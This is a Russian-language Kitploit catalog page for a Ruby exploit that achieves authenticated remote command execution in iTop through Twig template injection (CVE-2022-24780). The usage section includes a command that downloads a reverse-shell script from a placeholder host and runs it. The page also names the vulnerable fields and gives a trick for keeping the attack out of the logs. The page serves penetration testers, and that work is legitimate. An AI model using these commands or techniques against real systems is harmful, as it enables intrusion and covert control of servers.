Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
exploit-CVE-2022-24780 — iTop < 2.7.6 - (Аутентифицированное) удаленное выполнение команд | Kitploit
Инструменты/GitHubGitHub/acceis/exploit-cve-2022-24780
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеRed Teaming
GitHubacceis/exploit-cve-2022-24780

exploit-CVE-2022-24780

iTop < 2.7.6 - (Аутентифицированное) удаленное выполнение команд

Репозиторий
643 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Сайт

Эксплойт iTop RCE через SSTI - CVE-2022-24780

iTop < 2.7.6 - (Аутентифицированное) удаленное выполнение команд

Эксплойт для CVE-2022-24780.

[EDB-TODO] [PacketStorm] [WLB-2022050075]

Использование

root@kitploit:~
$ ruby exploit.rb -h
iTop < 2.7.6 - (Authenticated) Remote command execution

Usage:
  exploit.rb full <url> <username> <password> <cmd> [--debug]
  exploit.rb light <url> <username> <password> <cmd> [--debug]
  exploit.rb -h | --help

  full: exploit with an emulated browser, execute JavaScript, preserve original user profile information
  light: just parse HTML and send requests, no JavaScript, (DESTRUCTIVE) reset user information: phone, location, function

Options:
  <url>       Root URL (base path) including HTTP scheme, port and root folder
  <username>  iTop portal username
  <password>  iTop portal user password
  <cmd>       Command to execute on the target
  --debug     Display arguments
  -h, --help  Show this screen

Examples:
  exploit.rb full http://example.org john 's9nvEIZnEo6ghi' 'echo proof > /var/www/html/proof.txt'
  exploit.rb light https://example.org:5000/itop john 's9nvEIZnEo6ghi' 'curl --remote-name http://pentest.example.com:7000/revshell.pl; perl revshell.pl'

Вариант

Полный вариант эксплойта использует Watir с веб-браузером, управляемым Selenium, для эмуляции действий пользователя. Это необходимо для сохранения информации пользователя. Эксплойт внедряет полезную нагрузку SSTI в подчасть формы, используемой для изменения информации пользователя в профиле портала. В то время как некоторые значения могут быть жестко заданы или получены из HTML, другие (телефон, местоположение, должность) загружаются динамически через JavaScript и вставляются в HTML. Чтобы эксплойт не был разрушительным, необходимо выполнить JavaScript для получения этих значений.

Легкий вариант эксплойта не так заботится об этом и просто разрушительно устанавливает нулевые значения для некоторых полей информации пользователя (телефон, местоположение, должность). Однако этот вариант выполняется быстрее, требует меньше зависимостей, не выполняет JavaScript и не нуждается в X-окружении (Watir требуется для работы веб-браузера).

Требования

Кратко: установите всё bundle install

Полный вариант

  • httpx
  • docopt.rb
  • watir
  • webdrivers

Пример с использованием gem:

root@kitploit:~
gem install httpx docopt watir webdrivers

Легкий вариант

  • httpx
  • docopt.rb
  • Nokogiri

Пример с использованием gem:

root@kitploit:~
gem install httpx docopt nokogiri

Ограничения

Не рекомендуется использовать полезные нагрузки с двойными кавычками (") или обратной косой чертой (\), так как полезная нагрузка внедряется в JSON.

Развертывание уязвимого ПО с помощью Docker

Предупреждение: этот контейнер не подходит для использования в production!

Используя vbkunin/itop:2.7.4 - исходник - docker hub

root@kitploit:~
$ docker run -d -p 8000:80 --name=itop-CVE-2022-24780 vbkunin/itop:2.7.4

Ссылки

  • Целевое ПО: iTop
    • Домашняя страница: https://www.itophub.io/
    • Поставщик: https://www.combodo.com/itop
    • Онлайн демо: https://www.combodo.com/itop-access-to-the-demonstration
    • Исходный код:
      • https://github.com/Combodo/iTop
      • https://sourceforge.net/projects/itop/files/itop/
    • Уязвимая версия:
      • ветка 2.x: < 2.7.6
      • ветка 3.x: < 3.0.0 (например, 3.0.0-beta-7312)
    • Патчи:
      • https://github.com/Combodo/iTop/commit/b6fac4b411b8d145fc30fa35c66b51243eafd06b
      • https://github.com/Combodo/iTop/commit/eb2a615bd28100442c7f6171707bb40884af2305
      • https://github.com/Combodo/iTop/commit/93f273a28778e5da8e51096f021d2dc1adbf4ef3
    • Уведомления:
      • https://www.opencve.io/cve/CVE-2022-24780
      • https://github.com/Combodo/iTop/security/advisories/GHSA-v97m-wgxq-rh54
      • https://attackerkb.com/topics/tcUqij2rjR/cve-2022-24780

Уязвимость была найдена Markus KRELL.

Анализ уязвимости от первооткрывателя:

  • iTop – Инъекция шаблонов в портале клиента

Отказ от ответственности

ACCEIS не пропагандирует и не поощряет незаконную деятельность, весь контент, предоставленный в этом репозитории, предназначен только для исследовательских, образовательных целей и целей обнаружения угроз.

Исследование

Эксплойт

Как аудитор безопасности (или любая другая роль белого хакера), с одной стороны, вы хотите запустить скрипт эксплойта, чтобы проверить практическую эксплуатируемость теоретической уязвимости на основе номера версии приложения, которое вы определили, но с другой стороны, вы хотите, чтобы это было сделано правильно, без разрушительных действий, чтобы приложение клиента осталось в том же состоянии, в котором вы его впервые обнаружили.

Например, этот эксплойт срабатывает на странице профиля пользователя, поэтому есть форма с уже заполненной информацией о пользователе: имя, фамилия, ID организации, email, телефон, ID местоположения, должность, ID менеджера. Для атаки достаточно переопределить уязвимые поля и заполнить другие нулевыми или случайными значениями, если они обязательны. Именно это и делает легкий вариант эксплойта. Но при этом вы уничтожите актуальную информацию этого пользователя; это не проблема в тестовой среде, но является реальной проблемой, если вы находитесь в производственной среде. Черный хакер не будет об этом беспокоиться, но как белый хакер мы должны сохранить данные. Поэтому решение — получить фактические данные и повторно использовать их в нашем POST-запросе.

В классических веб-приложениях часто достаточно напрямую сформировать POST-запрос с правильными параметрами, направленный на уязвимую конечную точку. Иногда нужно обрабатывать сессии/куки, перенаправления, некоторые предыдущие состояния, которые могут потребоваться, получение какого-либо ID или anti-CSRF токенов, но все это остается довольно простым и может быть выполнено практически любой HTTP-библиотекой на любом языке.

Чтобы получить фактические данные, когда данные в форме поступают:

  • из ответа сервера, вам нужно просто собрать данные со страницы и разобрать HTML;
  • из XHR, который отправляется к API, и данные заменяются в HTML с помощью JavaScript, вам не нужен JavaScript, вы можете сформировать другой POST-запрос к API, чтобы самостоятельно получить данные.

В некоторых современных веб-приложениях это становится немного сложнее, когда многие значения задаются с помощью сложных манипуляций JavaScript. Здесь вы не можете просто разобрать HTML или запросить REST API, вы не можете ни извлечь значение напрямую из JavaScript-файла, ни разобрать несколько строк и пересчитать значение. Когда вычисления JS настолько сложны, происходят во многих разных JS-файлах или исходный код JavaScript обфусцирован или упакован, потребуется слишком много усилий и времени, чтобы обратить инжиниринг механизма и извлечь значение. В этом случае вам фактически нужно взаимодействовать с JavaScript из приложения. Но классический скрипт эксплойта, требующий только HTTP-библиотеку, не может сделать это (в одиночку)!

Эксплуатировать уязвимость вручную легко: вы просто просматриваете приложение, позволяете вашему браузеру обрабатывать весь JavaScript, устанавливаете перехватывающий прокси, например Burp Suite, чтобы иметь возможность изменить запрос перед его отправкой, и все готово. Но сделать то же самое автоматизированным способом гораздо сложнее. Для взаимодействия и выполнения JavaScript нам нужен безголовый браузер (который может или не может требовать графического окружения) и библиотека эмуляции пользователя. К счастью, уже существуют продвинутые библиотеки функционального тестирования, которые можно использовать для управления безголовым браузером. Самая известная — Selenium, но также есть Cypress. Вне тестовых наборов существуют библиотеки, предлагающие более общую автоматизацию, такие как Playwright или Puppeteer. В обоих случаях используется DSL, имитирующий поведение пользователя, как если бы пользователь использовал приложение, поэтому код, который мы напишем, будет указывать браузеру «нажми здесь», «введи мое имя в поле имени», «нажми эту ссылку» и т.д. Ограничение тестовых фреймворков в том, что они позволяют делать только то, что сделал бы обычный пользователь; например, обычный пользователь не извлекает содержимое тега script или скрытого поля, поэтому вы тоже не можете этого сделать. Они также предназначены для извлечения значений и сравнения их с ожидаемыми, а не для их установки. Кроме того, выполнение с использованием безголового браузера происходит гораздо медленнее и может потребовать громоздкого написания DSL. Поэтому в итоге мы хотим использовать безголовый браузер и тестовый фреймворк как можно реже.

Что делает легкий вариант эксплойта: подключается к приложению, получает форму профиля пользователя, чтобы извлечь все возможные значения, и использует пустые значения для номера телефона, ID местоположения и должности, а затем отправляет эксплойт.

Однако что делает полный вариант эксплойта: подключается к приложению, получает форму профиля пользователя, чтобы извлечь все возможные значения, затем использует безголовый браузер для подключения, получает форму профиля пользователя, чтобы извлечь 3 значения, которые были установлены из JavaScript, а затем отправляет эксплойт. Это в значительной степени тот же процесс, за исключением того, что мы не используем нулевые значения для полей данных, заполняемых JavaScript, а фактически извлекаем их с помощью безголового браузера, который выполнит JavaScript, заполняющий эти значения, чтобы мы могли их получить. Также технически возможно на 100% написать эксплойт, используя только безголовый браузер, но мы столкнемся с ограничениями, обсуждавшимися ранее; поэтому я выбрал гибридный подход с минимальным использованием безголового браузера.

Уязвимость

Первооткрыватель уязвимости CVE-2022-24780, Markus KRELL, написал подробную аналитическую статью в блоге: iTop – Инъекция шаблонов в портале клиента.

Вкратце уязвимость возникает при изменении профиля пользователя. Когда пользователь отправляет форму для обновления своей информации, он отправляет огромный JSON-объект, содержащий различные метаданные для бэкенда, но данные пользователя для обновления хранятся в виде XHTML в подузле JSON formproperties.layout.content. Однако Маркус заметил в исходном коде, что formproperties.layout.type может принимать как XHTML, так и Twig. Конечно, когда он увидел упоминание Twig, он сразу подумал о потенциальной SSTI. Поэтому он перепробовал все поля в содержимом, чтобы определить уязвимое, и обнаружил, что атрибуты data-field-id и data-field-flags уязвимы. Затем можно использовать классические полезные нагрузки инъекции шаблонов Twig. В качестве бонуса он также обнаружил, что добавление |join(',') к выражению преобразует результирующий массив в строку и таким образом позволяет избежать записи в журналы iTop, делая атаку более скрытой.

Скачать инструмент